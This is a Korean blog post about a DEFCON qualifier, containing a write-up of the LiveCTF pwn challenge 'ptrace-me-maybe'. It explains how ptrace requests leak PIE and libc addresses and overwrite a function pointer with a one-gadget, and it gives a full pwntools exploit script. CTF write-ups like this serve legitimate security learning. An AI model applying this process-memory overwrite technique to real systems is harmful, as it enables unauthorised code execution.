- 현재 SaturnX팀에 들어가있는 상태였는데 굉장히 운이 좋게 연합팀으로 DEFCON 예선에 참여할 수 있게 되었다.
- 굉장한 고수분들과 오프라인으로 대회를 할 수 있는 정말 엄청난 기회였다.
- 사실 여기서 벽을 매우 크게 느끼고 방학 때 포너블 공부를 열심히 하기로 마음 먹었다.
- 정말 아쉽게도 본선은 가지 못했다...
- 문제 푸는데 거의 도움을 주지 못하고 앉아만 있었던 것 같다. 대회 시간 48시간 중에 4시간 잤다...(앉아있기 장인ㅋㅋㅋ)
- 그래도 대회가 토요일에 시작했었던 것 같은데 일요일 새벽에 Live CTF를 한 문제 풀었다ㅠㅠ
- 비록 한문제 그것도 LiveCTF였지만 기분이 정말 좋았다...
LiveCTF [Pwn] ptrace-me-maybe
- 보호기법
- fork 함수로 자식 프로세스 생성
- 자식 프로세스에 PTRACE_ATTACH로 붙음
- 그 후 ptrace request, addr, data를 유저에게 입력받아 ptrace를 계속 실행한다.
FORK? PTRACE?
- fork - 자식 프로세스를 생성하는 것 → 자세한 것은 인터넷에 검색(운영체제 관련 내용)
- ptrace - 디버거와 비슷하다고 생각하면 됨, 아마 gdb도 이것을 이용해서 만들어졌을 것임
- 일단 나도 처음 보는 유형의 문제이기 때문에 검색, 분석 함
https://sites.uclouvain.be/SystInfo/usr/include/sys/ptrace.h.html
- 확실한것은 혼자 풀었다면 풀지 못했을 것 같다.
- 혹시 몰라 이름을 다 가리긴 했지만 엄청난 고수님들의 도움을 받아 풀 수 있었던 문제 였던 것 같다.
접근한 방법
- PTRACE_GETREGS 를 사용하여 메모리에 레지스터 값을 쓸수가 있음
- 부모 프로세스와 자식 프로세스는 메모리를 서로 공유한다.
- 자식 프로세스에 ptrace를 날릴 수 있으니 GETREGS를 사용해 쓰기가 가능한 메모리에 자식 프로세스의 레지스터 값들을 써준다.
- 그걸 기반으로 rip가 컨트롤 되는지 확인
- 익스 같은 경우는 처음에는 쉘코드를 써야할 줄 알았는데 결국에는 그냥 rip컨트롤해서 원가젯으로 따버렸다.
- ptrace는 그냥 원하는 곳에 값을 그냥 마구 박아버릴 수 있음 - 디버거라 생각하면 편함
- ptrace를 계속 쓰고 싶으면 1을 계속 입력하면 됨
- 끌때는 0을 입력하고 그 후에 get_pid함수가 실행된다.
- 여기를 원가젯으로 덮었음
- 값을 덮는 것은 PTRACE_POKEDATA를 씀
- 하지만 덮는다고 끝나는게 아님
- 디버거처럼 continue를 해줘야 실행이 끝까지 된다.
- 아니면 위처럼 fork에서 계속 멈춰 있음
- PTRACE_POKEDATA를 통해 rip 컨트롤 확인
- 원가젯으로 덮으면 끝
익스 코드
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"
p = process("./challenge")
e = ELF("./challenge")
# gdb.attach(p, '''
# set follow-fork-mode child
# set detach-on-fork off
# ''')
def ptrace(request, addr, data):
p.sendlineafter("?", request)
p.sendlineafter("?", addr)
p.sendlineafter("?", data)
p.recvuntil("returned ")
return p.recvline()[:-1]
pie_base = ptrace(b"3", b"8", b"0")
p.sendline(b"1")
pie_base = int(pie_base, 16) - 0x3d68
print(hex(pie_base))
libc_base = ptrace(b"3", b"80", b"0")
p.sendline(b"1")
libc_base = int(libc_base, 16) - 0xeabc7
print(hex(libc_base))
og = 0xebcf8
puts = 0x28490
get_pid = 0x3f88
# sh = shellcraft.amd64.execve("./submitter", 0, 0)
# print(len(asm(sh)))
ptrace(b"5", hex(pie_base + get_pid), hex(libc_base + og))
p.sendline(b"1")
ptrace(b"7", b"0", b"0")
# p.sendline(b"1")
# ptrace(b"0xc", hex(pie_base + e.bss(0x100)), hex(pie_base + e.bss(0x100)))
p.sendline(b"0")
# p.sendline(b"./submitter")
# flag = r.recvline_contains(b'LiveCTF{').decode().strip()
# log.info('Flag: %s', flag)
p.interactive()
내년에는 꼭!!! 본선 갈 수 있길 바라며 열심히 공부하자!!!
'CTF' 카테고리의 다른 글
Plaid CTF 2023 (0) | 2023.07.03 |
---|---|
Dice CTF 2023 (0) | 2023.07.03 |
San Diego CTF 2022 Write-Up (0) | 2022.05.09 |
Patriot CTF 2022 write-up (0) | 2022.05.01 |
24회 해킹 캠프 CTF write-up (0) | 2022.02.20 |